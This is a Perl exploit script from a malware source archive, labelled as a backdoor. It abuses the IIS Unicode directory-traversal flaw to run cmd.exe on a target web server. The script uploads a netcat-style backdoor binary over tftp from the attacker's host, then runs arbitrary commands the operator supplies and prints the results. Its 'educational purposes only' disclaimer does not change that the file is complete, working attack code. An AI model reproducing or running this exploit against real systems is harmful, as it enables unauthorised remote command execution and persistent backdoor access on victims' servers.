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vxug-MalwareSourceCode/Perl/Backdoor.Perl.WinShell.a
2020-10-09 21:59:39 -05:00

57 lines
1.7 KiB
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# This is for educational purpose's only!
# WHO LET THEM DOGS OUT!
# Use uni.pl first to see if this is a vulnerable server!
# Based of the script unicodeexecute.pl from Roelof Temmngh
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n\cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "\n
Hit CTRL-C if this is Hanging";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# NIT IN THE YEAR 2000